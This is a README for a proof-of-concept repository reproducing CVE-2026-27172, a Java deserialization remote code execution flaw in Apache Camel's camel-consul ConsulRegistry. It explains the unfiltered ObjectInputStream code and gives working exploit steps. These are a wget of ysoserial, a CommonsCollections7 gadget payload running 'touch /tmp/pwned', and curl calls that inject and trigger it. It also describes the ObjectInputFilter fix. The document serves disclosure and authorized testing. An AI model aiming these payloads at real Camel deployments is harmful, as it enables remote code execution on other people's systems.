oscerd/cve-2026-27172Reproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE)
This project demonstrates a Java deserialization vulnerability in Apache Camel's
camel-consul component (ConsulRegistry), tracked as CVE-2026-27172. It is the same
class of issue as CVE-2024-22369, CVE-2024-23114 and CVE-2026-25747, and was
overlooked during the original remediation of those CVEs.
Advisory: https://camel.apache.org/security/CVE-2026-27172.html
| Property | Value |
|---|
| Component | camel-consul |
| Affected Class | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| Vulnerable Methods | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Impact | Remote Code Execution (RCE) |
| Affected Versions | From 3.0.0 before 4.14.6, and from 4.15.0 before 4.18.1 |
| Fixed Versions | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry uses the Consul key/value store as a Camel registry. When a bean is looked
up by name, the stored value is Base64-decoded and deserialized with a raw
ObjectInputStream and, in affected versions, no ObjectInputFilter:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
Any object stored in the Consul KV store under a key that Camel later looks up is deserialized. An attacker who can write to that KV path can plant a gadget-chain payload that executes when the registry lookup happens.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry stores Base64-encoded serialized objects, so the payload is delivered as
Base64.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() reads the KV value, Base64-decodes it, and deserializes it — executing the
gadget chain.
ls -la /tmp/pwned
If the file /tmp/pwned exists, the exploit was successful.
The vulnerability triggers whenever the registry resolves a bean:
.to("bean:..."), bean(...), .process("...") by name all call lookupByName().findByType() / lookupByNameAndType() iterate KV entries and deserialize them.commons-collections:3.2.1 (CommonsCollections1-7 gadgets)| Aspect | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|---|---|---|
| Backing store | Cassandra table | LevelDB file | Consul KV store |
| ObjectInputFilter (before fix) | none | none | none |
| Fix | ObjectInputFilter allow-list | ObjectInputFilter allow-list | ObjectInputFilter allow-list |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |
The fix (CAMEL-23029) adds a configurable ObjectInputFilter (default
java.**;org.apache.camel.**;!*) to ConsulRegistryUtils.deserialize, and exposes a
deserializationFilter option so trusted classes can be allow-listed:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
Until upgrading to a fixed version:
CVE-2026-27172/
├── pom.xml # Maven configuration (affected camel-consul version)
├── README.md # This file
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── ConsulRegistryRoute.java # Camel route (disabled; shows real usage)
│ └── ExploitController.java # REST endpoints for the PoC
└── resources/
└── application.properties
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.